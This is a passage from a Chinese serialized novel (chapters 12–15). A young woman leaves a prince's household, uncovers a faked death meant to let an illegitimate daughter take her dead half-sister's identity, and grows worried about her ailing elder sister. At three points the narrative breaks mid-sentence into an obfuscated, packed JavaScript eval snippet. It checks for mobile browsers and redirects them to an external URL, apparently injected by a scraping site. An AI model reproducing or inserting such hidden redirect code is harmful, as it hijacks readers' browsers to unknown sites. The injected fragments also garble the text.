江清月冷笑一声，“说的好像我们还承了他的恩似的。” “郡王爷说，如若你允了，就这套宅子将送于你，你府上的下人，照例由郡王府发放月钱，每月再送八十贯来，由姑娘全权支配。” “话都说到这份上了，我岂有拒绝的资格？”江清月看着王嬷嬷，说道：“不过，在我应允之前，你要如实告诉我，郡王妃现在身体如何了？是否还在夜夜神伤？” “郡王妃痛失嫡女，一时半会难以自已，人消瘦了不少，不过有大郎媳妇日日在她身边，换着花样地讨她开心，总算是能吃下饭、睡着觉了。” “李钦语当真有这么好心？算了，与我再没有什么关系了。” “江姑娘，虽不在一起了，彼此是一家人，仍是记挂着对方的，要念对方的好才是。” 兰姑看出江清月脸色不对，连忙送客道：“王嬷嬷，我们初来乍到，尚有许多事未做，就不留您吃饭了。” 王嬷嬷语塞，只能尴尬笑笑，便离开了小院。 兰姑合上后门，心事重重，“姑娘，郡王府的态度，为何几日内差别如此大？” “想必是李善俪又吹了什么枕边风，让那位耳根子软的郡王爷有了新主意，只愿他们做的不是什么伤天害理之事。” 阿康匆匆赶来，带来郡王府的消息，“姑娘，姑娘，我听说康县郡王府上，今儿个换了一大批下人，说是什么，八字、生肖犯冲的，都打发了去，招了一批新人进府。” “郡王府从前也做过这事儿。”兰姑想起十年前，“当时姑娘刚入府，因何事来着？我也是那会儿才进的府上。” “我么？我是因为父母双亡，阿姊将我带回郡王府，我记得淇姐儿和李善俪也是那会儿进的府。” “三姑娘是那时进的府？可人人都说三姑娘同四姑娘是双生子。” “那是郡王爷为了掩盖外室丑闻的说法。”江清月凝眉道，“我以为这事人尽皆知，兰姑，难道府上人都这样认为么？” “因为三姑娘同她奶妈李善俪亲近，我私下也有些怀疑，可府上口风管得严，无人议论，就算心中不解，也不曾同其他人提起，久而久之自然就相信双生子的说法。” “十年前府上换人若是为了朱淇母女名正言顺入府，那如今又是什么原由？阿康，你可有相熟的人进入郡王府。” “还真有一人，是我的发小，姑娘要我去打听打听么？” “若他靠得住，那便去问问，阿姊还在府中，我担心郡王爷薄情寡义，做出不义之举。” 江清月看着窗外。 原本晴朗的天空不知为何，已然乌云密布。 12. 疑团 天气渐凉，秋风萧瑟，自江清月独自在外居住后，许多曾不用操心的事便需要她亲力亲为，免不了在外抛头露面，经历的事多了，便有了更多的感受。 可出于前世的习惯，她总是不能心安理得地被服侍，常常要靠钱财的支出，来平衡内心的不配得感： 无论是院内的丫鬟，还是路上送米送盐的马夫，都能在江清月这里得到与辛劳程度并不匹配的报酬。 久而久之，人们把这样的优待当作理所当然，事却做得更懒散了。 “姑娘，一钱足够了。”兰姑按下江清月掏向内兜的手，摇了摇头。 “多的就当是跑路费，街边喝杯热茶，暖暖身子。” “姑娘，我知道你为人大方，同下人们亲近，亦不缺这些银两，但既然掌了家，便应公私分明，否则会叫别人模糊了界限，懈怠了该做的事。” “兰姑，我听您话里有话，可否说的仔细些？” “这些话原本不该由我来说，可念在姑娘年纪轻轻便离了家，我也厚着脸皮，把这些道理说上一说，若姑娘觉得有理，便听了去，若觉得我老糊涂说瞎话，也别嫌我啰嗦。” “兰姑，我一直敬您是长辈，做事得体，您且说，我绝不嫌。” “先前南下的时候，我就注意到姑娘出手大方，常人给的，姑娘必翻一番不止。不仅是劳务委托，做人情时亦是如此，我女婿绸缎庄户一年净收一百两左右，在当地已算是充裕家庭，姑娘庆生贺便给去五十两，顶他们半年劳动收入。” “我是念在您的情分上，觉着只捎去一封信实在唐突，于是到了广州府才连忙补上贺金。” “主人家同家仆再亲近，二者之间也有界限，吩咐事情时总归是要正经、严肃些，而不是哄着去做事。若是不分、不辨，上下不分，混作一团，给人留下不顾家的印象，只怕有心之人刻意接近，投机取巧讨您的赏。” “在郡王府寄人篱下十余年，就算阿姊待我再好，总归是要瞧人脸色过活，能自己动手的，绝不开口请他人帮忙。直到现在，一想到要麻烦他人，还是总觉得亏欠了谁似的，便在能承受的范围内多给了些，总觉得都是小钱不碍事，只要能办好事即可，没想太多。” “这哪里是麻烦呢？丫鬟领了月钱，照顾主子是应该的；马夫收取佣金，就应当把人安稳带到目的地。有多少功劳，便得多少禄，于所有人而言都是公平的。” 江清月点了点头，“兰姑，我知道了，今后会多加注意的。” “姑娘，您得树立自己的威严，有挑选的、适当地打赏，或许更能激励下人把事做好，否则就算把家底搬空了，该走的还是会走。” 江清月笑了笑，“那只能算我识人不慧，自甘倒霉。” “姑娘，姑娘！” 一阵急促的脚步声传来，阿康风尘仆仆地跑进堂内。 “上次打听的消息，终于来信了。” “怎么说？” “说是淇姑娘病了，郡王爷请了大师来看，算了八字、生辰什么的，打发走好些人。” “郡王府又不兴这个。”江清月凝眉道，“那其他人呢？郡王妃呢？” “没了，说是府上口风紧的很，有人盯着，不准外传。” 江清月深吸一口，看着兰姑，不解地说道：“可单是三姑娘生病，何至于如此大动干戈？” “谁知道呢，搞得神神秘秘的。” “能不能想办法让你那人替我带个口信给阿姊，就说我秋冬季犯了鼻炎，从前喝她调配的药汤有缓解，不知能不能再给我拿些。” 兰姑在一旁接话道：“姑娘，上次带去广州府的还有一些，我粗略看下，应是能备个八九不离十的。” “兰姑，我并非真心要阿姊帮我备着，只是想借此机会看看她的态度，不知是否还怨恨着我。” “哎，这事最不该迁怒的就是姑娘您了，若能同郡王妃当面说通就好了。” “斯人已逝，我现在只希望阿姊能身体安康，即使此生不复相见，也无妨的。” 寒风袭来的几个夜晚，树叶不知在某一刻吹落，只剩下光秃秃的枝桠，站在地面朝上望去，像是天空的脉络。 辽东的秋天是短暂的，仿佛忽然下了几场雨便冷了起来，晨起时的路面结上冰霜，顽皮的孩童自那过时免不了滑倒。 如此，又是一年冬季。 每到湖面结冰时，康县郡王府有一项保留的项目，那便是差人从洛泽湖中打捞些冰块，用马车拉上，存放于山间的一处朝向西南、延伸三十丈的洞穴中，夏日来临时，那些冰块仍呈现完整形态，便会被抬出来，或是调成冰浆、冰酪，或是作降暑降温用。 可今年郡王府在洛泽湖结冰后好几周内都无动静，想是因为江氏身体不好，三姑娘又生了病，府中人员调动太多，许多事便耽搁了，一直到快要开春时，康县郡王才下令开采，匆匆装了半个山洞的冰块。 珠儿坐在门口煮茶，看着天空飘起的小雪，感叹道：“不知道今年，郡王爷是否会给我们留几块冰。” 灵玲耸了耸肩，往火炉的铁丝网上撒了把花生，“几块冰？我看郡王爷连冰渣子都不会给我们。” “我不是说留几块，我是说能否……” 江清月裹着毛袄靠在门框，用手接着天空中飘落的雪花，“都自立门户快半年了，还事事都等着郡王府赏赐么？” 珠儿叹了口气，“那不是因为那边吊着咱们，该给姑娘的都没给么。” “当年江家有难，阿姊保下了家中大部分财产，这些年亦是她在悉心打理，若真是交给我，我做的未必有她一半的好。” 灵玲摇了摇头，“就怕这么些年过去，郡王爷早已觉得那些是他府上的家产了。” 江清月低着头，她心中亦有顾虑。 可连着好几个月托人带口信，江氏向来是不予回应，十个请求里或许能满足一个，就算江清月有心打听，也呼吁无门。 “那我们就这样等下去吗？”灵玲看了眼珠儿，“现在月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15047620|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月等着郡王府的拨款，仿佛还是寄人篱下。” “至少不用看人眼色，多少自由些。” 远处，兰姑踏着小碎步匆匆走来，她面色有些苍白，珠儿赶忙递上一杯暖茶，她却摆了摆手，缓了口气，说道：“姑娘，上郡王府跟前瞧一眼去吧。” 江清月从未见过兰姑如此慌张，一边朝外走，一边问道：“出什么事了？” “郡王府一早门前挂了白灯笼，问是谁人，门口的侍卫不肯说。” 江清月的心怦怦直跳，来不及换衣裳，披着毛袄子便往外走。 珠儿见状，连忙撑伞在其后走着，生怕江清月心急又淋了雪，身子扛不住，便拢了拢她的大衣，跟在身边。 一路上，马车内气氛如同凝固了般，无人说起一句话。 江清月不禁回忆起近期的种种事情，疑心江氏早就病倒了，所以才从未给她回应。 她在心中默默祈祷着，向她所知道的所有守护神起誓——若阿姊平安，今后她定多行善事，行济天下。 马车刚到府门前，江清月便迫不及待地下了马车，却被门口并不认识她们的侍卫拦下。 “这里是康显郡王府，你们是何人？” “这位是江姑娘，郡王妃的嫡妹，听闻郡王府有丧，前来悼念。” “没听说过郡王妃有亲戚，再说，我们家郡王爷说这场丧事不对外，无需前来吊唁。” “江姑娘自小在郡王府长大，同府里人情谊深厚，于情于理都应入府，若你拿不准，尽管去请示吴管家，屋外天寒地冻，若是冻坏了我们家姑娘，你如何担得起责？” “话就是吴管家吩咐的，说是一致不许外人入内。” “你……” 争执间，朱泓闻声赶来。 “清月……姨母。”他看了眼侍卫，厉声道：“这是郡王府的贵客，还不快请进来。” 江清月走在他的身旁，低声问道：“府中谁人去世了？” 朱泓深呼吸一口后说道：“三妹妹。” 江清月愣住了，甚至忘了走，“淇姐打小可是泥里滚着长大的，怎么可能如此突然。” 朱泓摇了摇头，似有难言之隐，话到嘴边又咽了下去。 “一连失去两个女儿，郡王爷心里怕也不好受吧。” 朱泓摇了摇头，随后说道：“对了，听闻你独自居住在外，生活上可有困难之处？好几次我想登门拜访，可母亲说你既已脱离郡王府独居，便同我有了身份的隔阂，若贸然打扰会传出些流言蜚语，影响到你，所以我才一直没去。” “二郎，我明白的。”江清月顿了顿，“郡王妃，她身体还好吗？” “自从四妹妹……以及你的离开后，母亲便消瘦了不少，常待在房间内，并不出来走动。”朱泓将她带至岔路口，说道，“灵堂那边，有父亲和大哥一家守着，棺木已闭，即使去了也见不着什么。母亲在房间里，你去找她说说话吧。” 江清月点了点头，径直朝东厢房走去。 13. 转折 屋内炭火烧的噼里啪啦响，丫鬟们围在一旁打盹，江清月走进去时，江氏正坐在床榻上绣花。 “月儿，月亮都圆了几回，怎么才来。” 江清月忍不住抽泣起来，她浑身发抖，捂着眼，跪倒在江氏面前。种种委屈、烦闷与痛苦都化为泪水，止不住地流。 “阿姊怨我，不肯我来。” “我怎么会怨你，这些年来，我待你如同我自己的孩子般，眼下潼儿已不在，世上便只有你我二人。” 江氏轻轻拉起江清月的手，发丝拂过她的面庞，“郡王爷说你想自己在外过日子了，我本应该去你府上坐坐的，但最近腿脚无力，连房门都不乐意出，只好让洪嬷嬷打点些东西，托人给你带去。” 江清月看了看一旁的兰姑，兰姑亦是诧异，原是府中有人作梗，隐瞒了消息，刻意不让她俩相见。 “阿姊，府中的事务、家产，如今还是你在打理吗？” “呕心沥血二十年，到如今才看透，原是担雪填井，劳而无功。”江氏苦笑道，“何况现在就算想管，也没那个心力了。” 江清月看着周围人，郡王妃的丫鬟几乎都换了一轮，全是些生面孔，她摆手让她们离远些，才好跟江氏说些心里话。 “我担心康显郡王让我搬离，又让李氏接手家中财务，是为了将咱们江家的那些家产牢牢捏在他们手上，阿姊，你在府中可要多留意自己，别太信那些个下人。” 江氏冷笑一声，“从前生怕我撒手不管，我身子不利索了，又巴巴地从我手里夺走，真是讽刺。” “钱财上吃点亏都不要紧，就怕……既谋财又害命。”江清月担忧地拉起江氏的手，“阿姊，你同我离去吧，我那院子虽不如郡王府这般奢侈，但好歹能住的安心。” “若当真要我这条老命，那就给他们，我没什么好怕的。月儿，既然今日得了这个机会，我便和你交代些事。” “阿姊，何事？” “十一年前，父母去世时留下的家产，这些人年我都仔细替你保管着，契约文书、官署备案一应俱全。潼姐出事后，我便将其陆陆续续转了出去，交给了可信之人托管，并请了中人来见证，将来你愿意自己打理也好，不愿操心也罢，至少能保证你后半生衣食无忧。” “可这么大的事情，郡王爷他们竟然没有察觉吗？” “我在府中二十年，有些事自然有我的门路。这些年郡王府吃穿用度，我从未动用过你的那份，全花的是我的嫁妆，他们向来不闻不问，只管伸手要钱，哪能知道总共有多少商铺、田契和财宝？” “大郎媳妇在接手的时候，也没察觉出异样吗？” “李钦语这孩子，到底曾经是小门小户，不懂行情，一点点家底都能把她恫吓住，我给她的那些东西，尚且能让她喝一壶的了。” 江清月在面对如此一笔“横财”的情况下，心里并未有预想的惊喜，她看着江氏，总觉得对方似乎有意在交代后事。 东厢房门外，神色凝重的丫鬟带着几个家丁推开门走了进来，拱手道：“江二姑娘，郡王爷有请。” 江氏无奈叹了口气，“平日不关心，这时候比谁都盯的紧。” 江清月环顾四周，肃目厉声道：“郡王爷有请，我自然不敢怠慢。可一码归一码，我来郡王妃住处本为随心，事先并无人知晓，究竟是何人私下总爱通风报信，这么快就这里的动向一字不落讲与他人？” 那几个下人互相看了看彼此，低着头不敢言语。 带头的大丫鬟见状解释道：“江二姑娘是外人，在府上去了哪儿，做了何事，我们都理应相互报备，告知主人家，若有冒犯，还请见谅。” “郡王府真是花心思了，找了这么群能说会道的人。”江清月冷笑一声，“告诉郡王爷，我即刻就来，如此你们便可退下了？” 那些人并未有恭请的意思，显然不希望两人继续交谈，带着几名家丁闯入后院闺阁便已有此意。 江清月还想多说几句，却被江氏拦了下来，她摇摇头，说道：“想来是有什么事，你去看看吧。” “可是……” 江清月本想说郡王爷的态度显然不把她们两姊妹放在眼里，根本没有请人的态度，完全就是逼着人分开，但又想到阿姊原本就是息事宁人性格，又不得不继续在府上生活，硬要说些伤人的话，她心里并不好受。 “阿姊，我这就去见郡王爷，你说的那些事我都记着了，多保重身体。” 江氏点了点头，站在门口送行。 灵堂外站着郡王爷、李善俪和大郎夫妻俩，此刻瞧上去，她们倒像是和和睦睦一家人似的。 江清月遥遥地看着屋内的棺木，又看向这几人的神情，虽眼下都不同程度地哭啼着，面容却未有憔悴之意，连三姑娘的生母——李善俪亦是如此。 “郡王爷，听说您找我。” “咱们来了府上，都不和我说一声便到处跑，成何体统。” “在府上生活了十余年，一时身份转变，还未适应。” “罢了罢了。”郡王爷看了眼屋内，“你是来悼念三丫头的吧？” 江清月看着满堂的白花，心中酸涩不已。这些年虽不待见朱淇，但也只是拌拌嘴、斗斗气，不至于咒到对方死才可的程度。念着二人从前的过往，江清月不禁红了眼眶。 李善俪等人有些紧张她的出现，时刻注意着江清月的一举一动，似乎下一秒就会伸手阻止她干什么事似的。 若非她们的异样，江清月还沉浸在悲伤中，难以发现其中的异样，她定眼看着棺木，回想起一些事。 先前她为朱潼准备后事时多有了解，棺木从材质、颜色、雕刻和装饰方面亦有差异，按照郡王爷和李善俪对朱淇的重视程度，三姑娘就算用玉片镶嵌的金丝楠木作棺都不为过，眼下却只是口柳木棺，简单彩绘过后便合上，根本不像是郡王府的做派。 朱淇的牌位倒是较棺木更为用心，却意外地采用了红色字体。虽有的地方习俗，会为新去世之人用红色字书写，过段时间再改用其他颜色。 可还有种说法，若是为未去世之人作“长生牌位”，为祈求在世之人幸福长寿。 江清月拿不住是哪种情况，她试探问道：“三姑娘原先身体健康，究竟是何原因？” 郡王爷叹了口气，“老天爷要来收人，我有何种办法？” “四姑娘离世，郡王爷怕十里八街影响不好，不肯为她做法事，可三姑娘又没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15053772|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的顾虑，郡王爷还是不愿声张，连我都是路过此地才知晓此事，难道你们，是在担忧什么吗？” “你……” 李善俪在一旁接话道：“淇姐儿是被我连累的，害她这些年名声不太好，出门在外总免不了被人非议。算是念在她走前的遗愿，只有我们几个身边人陪她走完最后一程，安安静静地，再也没有人会说些什么。” “可我怎么觉得，三姑娘并不是这样的人呢？” 郡王爷眉毛胡子一把抓，怒道：“人都没了，你还想说什么？难道要事事都顺你的意愿不成？” 江清月拿不准，一想到郡王府种种异样，心里不禁起疑。 她手指轻轻搭上棺木，抚摸着其上的花纹为线雕还是刻雕，一旁的李善俪却连忙拉起她的手，嘴里念着“不吉利”。 “都是自家人，还怕亲人会对我不利么？” 江清月收手，站起身后退几步，假意要离开，又蓄力猛地冲回去，一把推开棺木。 周围的侍卫很快就上前拉开了她，实际上棺木太过沉重，她根本推推开多少，自然并没看见棺内的东西。 但见众人惊吓、担忧而非生气的面容，她心里多少有了数。 “这里面根本不是三姑娘，你们为何这样做？” 李善俪慌了神，口不择言，说道：“三姑娘的肉身送去寺庙超度了，里面仅有些衣裳，等法事结束自然会送回来。” “一会儿说不愿声张，一会儿又说送去超度。”江清月步步紧逼，“实际上三姑娘还活着，对吗？” “胡说，谁会拿这种情况开玩笑。来人，把江二姑娘带去堂屋休息，她忧思过度，得了癔症。” “那你敢说是哪家寺庙，诊断三姑娘疾病的大夫又在何处吗？堂堂郡王府连这种事情都敢胡乱编造，真不怕传出去叫人耻笑么？” “怎么会是胡编乱造，话可不能这样说呀江二姑娘。” “行了，行了！”郡王爷一屁股坐在棺木上，抱着胳膊不耐烦地喝止了两人，“你就告诉她实情。” “郡王爷，可是……”李善俪挥手将其他人赶了出去，低声道，“万一她不小心说漏嘴。” “你瞒的住她吗？她都看见了。” 李善俪极不情愿地走到江清月跟前，解释道：“上月十五日上崇恩寺祈福时，那里的一位得道高僧叮嘱说，郡王爷的女儿命里有煞，活不到一十八岁，当时外人并不知四姑娘的事，便理所当然地以为是……” “可没过多久，淇姐就生了病，我放心不下便再去找到那位高僧询问，结果人家说的是三姑娘活不到一十八。”李善俪哭哭啼啼起来，“郡王爷便去问，可有什么法子化解，高僧说若是假死、易名，或许能有变数。” “四姑娘才去世，郡王爷心中伤痛不已，若淇姐再有事，只怕是……江二姑娘，你或许不知，可为人父母，哪怕赴汤蹈火，愿为孩子做一切事情。” 李善俪的神情太认真，以至于江清月并未察觉她竟然在假装。 “那淇姐现在还好吗？不对，她现在应该改名了吧。” “嗯嗯，大师给算的，改成了‘朱彤’，不是四姑娘的潼，是‘彤云’的‘彤’。” “朱彤？” 14. 真相 江清月嗤笑两声，气的急了，火气涌上心头，连头发似乎都比刚才凌乱不少。 若先前还念在郡王府有养育之恩，多少压抑了脾性，许多事没说破的，也睁一只眼闭一只眼过去了。现在得知他们这些人竟打着这等主意，既愤怒，又替死去的四姑娘感到恶心，两步上前，质问道：“装都不装了？” “不是的，江二姑娘。有言是‘日出东方隈、彤霞映碧海’，大师的意思是三姑娘命寒，缺把明火，取这个字刚刚好。就算，就算同四姑娘的音撞了，大师说原本就是骨肉至亲，也不相冲。” “字里带火的名字那么多，你们偏偏取个彤字，又搞了这一出假死的戏码……看来早在赶我出府的时候就计算好了，原来是要干这损招啊。” 郡王爷拍棺而起，大声道：“别瞎囔囔了，本就是你做事不利，我想赶便赶，还需要想什么招？这是我们朱家的家事，是我的女儿，跟你不相干。” 江清月本想继续同他们理论一番，但转念一想，即使争个高低又如何？朱潼已经回不来了，康想郡王府若出事，还会白白伤害到无辜的阿姊，恐怕此时此刻，她还不晓得李善俪谋划的这一切，否则不会那般平静地待在厢房内，半点未谈及诸如此类的事。 “郡王爷，静下心想想，你们如此铤而走险，也不过是为了给三丫头挣个好名声，将来封了县主，能风风光光地嫁出康显郡王府。虽然我江清月同你朱家毫无关系，但一损俱损的道理我岂能不知？你们倒是得益了，兹事体大，如何确保我自身的安稳呢？” 郡王爷觉得自家养出个白眼狼，江氏算计的是家事，江清月算计的是她的利益，越想越气愤，面红耳赤争道：“你以为你是谁，你还敢跟我谈条件？” “只要郡王爷给我一个保证，我也给您一个保证——今日之事我绝不外传，就算将来旁人问起，也绝不说对康显郡王府不利的话。” “呸，我不需要你说好话。” 李善俪拉了拉郡王爷的衣袖，对江清月试探问道：“你怎么保证？” “这种事情若是落在纸上，将有一日，或是保管不善，或是有人起了异心，告知外人，想必大家都心里难安。” 她二话不说，以迅雷不及掩耳之式拿起祭祀台上的剪子，从柳木棺上翘下一小块彩绘，举起来，说道：“这棺木，反正也是口空棺，埋下去后说不定再无人会在意。我带走一小片，就当作我们之间的信物。” 江清月又从身上摘下一只玉扳指，展示一番后，放在棺木上。 “玉扳指上有江家的标志，本身没有什么实权，但若放进棺木里一同下葬，至少能证明我们曾沆瀣一气，今后，便是一条船上的蚂蚱，即使是为了江家的名声，我也不会多说什么。” 李善俪警惕地拿起来瞧了又瞧，几番打量，迟迟不下决心。 “行了行了。”郡王爷摆了摆手，“江氏还在这呢，身子骨那么虚弱，连风吹都会受惊吓，她江清月为了她姐的安稳，还能翻什么天不成？” “可是郡王妃她，将来若是不在了……” “那不是也有这玉、玉扳指在，江家和我利益绑定如此紧密，她江清月也不蠢笨，想来不会自断前程，冒着牢狱之灾，就非要讨个什么，什么结果出来吧？” 李善俪看了看江清月，虽心中有不甘，但面对郡王爷不耐烦的态度又无可奈何，不便再说什么，绕到江清月身前，颤抖地拉起她的手，就差给她跪在地上了。 “江二姑娘，就算我们做些什么事情，那也是为了子女，并不为自己。就算江氏，郡王妃，她想为你谋取些东西，只要不过分，我定然是豁出命去支持的。” 江清月轻轻甩开李善俪的手，淡淡道：“我不求什么，只希望郡王爷日后能让我同郡王妃常见面，就别无他愿。” 郡王爷眼皮都没抬一下，挥了挥手，说道：“知道了，去吧。” 望着江清月离开的背影，李善俪仍不心安，思来想去，忍不住说道：“郡王爷，当真信的过江二姑娘吗？” “难道这事情做的还不够大吗？里里外外都在传，我们府上究竟发生了何事，就算我想一个个去计较，也没心力了。” “正是我们为此耗费了不少精力，才更应确保她江清月不会出岔子，妾身看来，不如……” “我们做的已经够多了。”他抬眼，一副叹息的模样，“潼丫头没了，我如今就只剩下这一个女儿，原是不希望淇丫头继续受人非议，便大换了府上的下人，做实她嫡女的身份。是你说既然如此，不如让淇儿顶了潼丫头，得个县主之位，更名正言顺，我们才如此铤而走险。全然忘记了，当初一开始，你跟我要的，可只是饱食暖衣啊。” “郡王爷这是，在责怪妾身么。” “将你们从兖州接过来的时候，这日子注定就不好过，还不是照样过来了？要我说，你就宽宽心，别揪得那么紧了，外人见你那张脸都得吓死了。” “这不是诚惶诚恐地担心着郡王爷您的名声么。” “好了好了，别说了。”郡王爷打断了李善俪，“过段时间，你和淇丫头就搬回兖州老家，避一些时日再说吧。” “兖州？郡王爷这是要抛下我们母女么？” “谁说要抛弃了？”郡王爷摊了摊手，说道：“在那边能找到人，好照顾你们娘俩，况且，我记得你们李家不就是兖州的么？” “不是兖州的，郡王爷贵人多忘事。”李善俪拉起郡王爷的手，摩挲道：“我娘家本是广州府的，后被发配去了兖州的一个小县，我在那街口担水煮面，日日勤勉，养活一家老小，后来遇到郡王爷，这才……” “想起来了，是有这事。”郡王爷叹了口气，“人活的够久，竟然都忘记了我们是怎么相识的，如今想来，也有一十六年了吧。” 李善俪本是落魄小姐被发配到苦寒之地，自然要依仗些手段，让那些别有用心的男人常来她铺面里照顾生意，又不敢做冒犯之事，得了个“清水面西施”的名头，却无人觉得她轻佻。 那年，康显郡王爷回兖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15060572|162757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 州悼念亡妻林氏，夜夜烦闷不得眠，天将亮未亮时，喝了些酒，迷迷糊糊走到西街口的汤面摊上，见李善俪有几分像故人，又爱听她带着些许口音的、洪亮的嗓音叫着“汤面——客官要几两？”竟觉得心里踏实，睡倒在人家的面铺上。 后来一连几日，他出手十分阔绰，在一众只爱占便宜不愿多花钱的汉子中格外显眼，两人便慢慢搭上了话。 至今也无人说透，那晚为何李善俪竟然并未拒绝，或许是需要一个跳板，带她离开那了无生机的地方，亦或许就是看对了眼，不由分说。 可事情若只是发展到这地步，康显郡王或许并不会对李善俪母女有如此的包容之心。 李善俪只保留着那夜故人遗落的一柄玉带钩，给这野丫头起个诨名叫“玉妞”，却因不知郡王爷真实身份，无法上门寻亲，仍从事着老本行。 六年间兖州发生不少事，李家人终于熬到平反，回地方当了小小芝麻官。但曾经养活他们一大家子的李善俪却因为不明不白带着一女，而被视作污点，留在了小县西街口。 或许命运注定二人还能再次相遇，六年后康显郡王突发奇想，回故地重游，终于再见到朦胧梦中那个清水面铺，却发现那里早已不如当年人气，变得冷清、荒凉。 他原可以不认那六岁女童，毕竟当年之事谁也说不准，可偏偏她就长了副注定会讨喜模样—— 她既不像自己的生母李善俪，同郡王爷也无几分相似，偏像当年林氏夭折的那个幼女，尤其是眉间的那颗痣。 又想到这对母女不声不吭，在这凄凉地受了多年委屈，心里便满是愧疚，便想在兖州好好安置她们，至少不再风餐露宿。 可消失的李家人得知“女婿”竟然是康显郡王后，又现了身，一番软磨硬泡，甚至是威逼利诱，终于使他改变了心意。 于是那年，郡王趁着江氏离府期间，他将这对母女秘密接回盖州卫，又大换府上下人，将私生女说成是郡王妃的双生子。 江氏原本也可以不接受这事，但她同郡王做了个交易——对方将兖州母女接回府上，那她也要把自己的嫡妹接来府上抚养，并要求府中人一视同仁。 这些年来，许多历史的细节已然模糊，他们彼此都不再谈起那段过往。 李善俪是明白人，知道以色侍人不能长久，过去那点情分不足以让她在府上站稳脚跟。 既然代替不了家郡王的初恋林氏，也取代不了自带丰厚嫁妆、能把家里打理的井井有条的江氏，于是转为攻心，做郡王爷的红颜知己、笼中金雀。有事相求时，联合淇姐一起煽动一番，自然也能达到目的。 “郡王爷，兖州人都说我是‘淫奔之女’，若是回去，我的尊严有辱倒是小事，就怕拂了您的面子。” “是我疏忽了，光想着那边有认识的人。”郡王爷从回忆中回过神来，“马上翻过新年，二郎将要去京都，你们便跟着一起去吧。” “全听郡王爷的。” 二人挽挽手，跨步离开了灵堂。 15. 谈判 时隔多年，康显郡王府又贴上蓝色的春联，名为“朱淇”守丧，实则是为“朱潼”。 江清月将事情的真相，层层铺垫后告知江氏，没有预想的那般歇斯底里，甚至不需要她平复什么心情，江氏只淡淡叹了口气，看着窗外白雪皑皑。 “昨日，一位白眉老人来我府上问事，我印象里并无这号人，也未听阿姊你提起，便差人说我不在府上，另请三日后再来。”江清月扶着下巴，思索道：“我同如此的长者能有何事相商呢？” 江氏似从迷糊中醒来，答到：“应是徐子如，徐老前辈，曾在我们江家做了几十年的管家，后来告老还乡，我费了不少功夫再请他出山。之前，我把你应得的那部分家产拜托于他，并约定于初八，他去你府上同你详谈。” 近来并非偶然性地、江清月发现江氏的神思总游离在理智之外。 “阿姊，今日已是初九。” “是么？我过糊涂了，那你见找徐管家没有呀？” “他昨日来我府上，被我以不在府中的名义送走了，后天我会在门口亲迎这位老者，或者是，阿姊若是知道徐管家住哪儿，我此刻便去。” “徐管事是很重要的人，尤其你将来要打理如此庞大的家产，身边需要一个可靠的人才是。”江氏看了看窗外的白雪，又想起什么似的，叮嘱道：“我们约定好，初八的时候他会去你府上，你还记得如何待客的吧？” 江清月咬着下嘴唇，心里有些担忧，语气不免着急了些：“阿姊，我都说了今日初九，徐管家不会来……你到底怎么了？” 江氏像个犯了错的孩子，瞟了瞟江清月，又低头揉起眼睛。 “人老了，记性不好。” “可最近你总是这样，明明刚才还在说的事，下一刻就忘记。” 她似乎想到了那个生离死别的雨夜，江清月语气颤巍，拉着江氏的胳膊缓缓坐下，伏倒在她的膝上，无声流着泪。 江氏抚着她的头发，问道：“月儿，你这是怎么了？” “没事。”她擦干泪痕，深吸了一口气，牵动嘴角扯出一抹笑，“我记性好，多记着就行。” 门外一阵银铃声响，渐渐朝东厢房这边走来，李钦语手中拿着一小瓷瓶，嘴里哼着愉快的歌。 “娘，我又给您带了些来！” 她进门看见江清月，下意识将东西藏了起来。 “姨母，也在这里呀。” 江清月点了点头，视线朝她背后探去。 “定胜糕。”李钦语换了只手，拿出一小块方巾包裹的糕点，“在我们家乡那边若逢人要考取功名，必然会做此糕点馈赠考生，愿其‘定然高中’，这不二弟就快启程去京都，我特意从娘家那边讨来做此糕点的法子，自己试着做了一回。” 她将定胜糕捧在江氏面前，“娘，我年轻，嘴巴没吃过什么滋味，不知道做出来的东西口味如何，又想着要先孝敬长辈，所以想着请娘，还有姨母先尝尝。” 江清月有些警惕，迟迟不肯接过，但江氏却认真欣赏起来，点评道：“颜色好看，形状如花瓣，也好看，倒像是那么回事。” 她刚想接起来放入嘴里，却被江清月制止了，又化作玩笑般说道：“钦语，你这东西做出来可自己尝过？别不知咸淡地给郡王妃吃了，害她倒胃口呢。” “姨母，入口的东西我自然是尝过，放心后才敢给娘送来的，您说的倒胃口什么的，钦语难不成还能在光天化日下，存害人之心么？” 李钦语见江清月说得认真，便掰下一半，塞到了自己嘴里。 江氏接过另一半，不假思索地品尝起来，“软糯香甜，可是糯米做的？” 